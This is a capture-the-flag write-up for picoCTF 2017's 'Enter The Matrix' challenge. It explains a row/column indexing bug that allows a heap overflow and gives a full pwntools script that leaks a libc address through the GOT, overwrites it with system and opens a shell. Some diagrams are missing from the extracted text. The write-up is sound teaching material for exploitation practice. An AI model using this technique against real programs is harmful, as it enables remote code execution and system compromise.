Enter The Matrix

Writeup by hgarrereyn

  • Binary Exploitation
  • 150 points
  • Description: The Matrix awaits you. Take the red pill and begin your journey. Source. Jack in at shell2017.picoctf.com:9417.


This program allows you to create matricies of various sizes which are stored on the heap. You can then set/get the value at a specific index.


Here is the struct for each matrix:

struct matrix {
    int nrows, ncols;
    float *data;

When each matrix is initialized, memory is allocated like this:

struct matrix *m = malloc(sizeof(struct matrix));
m->nrows = nrows;
m->ncols = ncols;
m->data = calloc(nrows * ncols, sizeof(float));

Here we see that the data field is allocated to exactly the right size to hold data. The issue is when the program tries to traverse this space. Here is how indexing was done:

m->data[r * m->nrows + c] = v;

The fix would be to do it like this:

m->data[r * m->ncols + c] = v;

It looks like the programmer was attempting to store rows in memory like this:


Store it as:

[a] <-- *data
[f] <-- end of data allocation

Where each element takes up 4 bytes (as a float).

However, due to the indexing bug, this matrix would be stored as such:

[a] <-- *data
<x> <-- end of data allocation

So this bug means we can write outside of our assigned heap space. My approach was to overflow into another matrix struct and use it to overwrite a GOT address with system.

When we create two matrices on the heap, they are allocated like this:


And due to the indexing bug, we end up writing to the following memory locations:


Notice how if we write to 3,0 we overwrite the data pointer of matrix 2. We can set this to point to the GOT table and perform our attack.

The only catch is that the program reads and writes float values. So we just have to do a little bit of encoding between hex addresses and floats.



# By Harrison Green <hgarrereyn>

from pwn import *
import struct

# Connect
sock = remote('shell2017.picoctf.com', 9417)

# address offset in libc from fgets -> system
offset = -151264

# get next command
def n():
    return sock.recvuntil('Enter command:')


sock.send('create 4 2\n')

sock.send('create 1 1\n')

# Sets mat 2 to point to the address of [email protected]
sock.send('set 0 3 0 3.991163316186605e-34\n')

# Read fgets address
sock.send('get 1 0 0\n')

# Float -> hex conversion
f = float(n().replace('\n',' ').split(' ')[3])
print('Float val:\t' + repr(f))

fa = struct.unpack('<I', struct.pack('<f', f))[0]
print('Addr:\t' + hex(fa))

# Calculate system address
sa = fa + offset
print('Sys Addr:\t' + hex(sa))

# Hex -> float conversion
s = struct.unpack('>f',bytes(bytearray.fromhex(hex(sa)[2:])))[0]
print('Sys float:\t' + repr(s))

# Overwrite [email protected] with system
sock.send('set 1 0 0 ' + repr(s) + ' ; sh\n')

# Call system('sh')

# We've got shell

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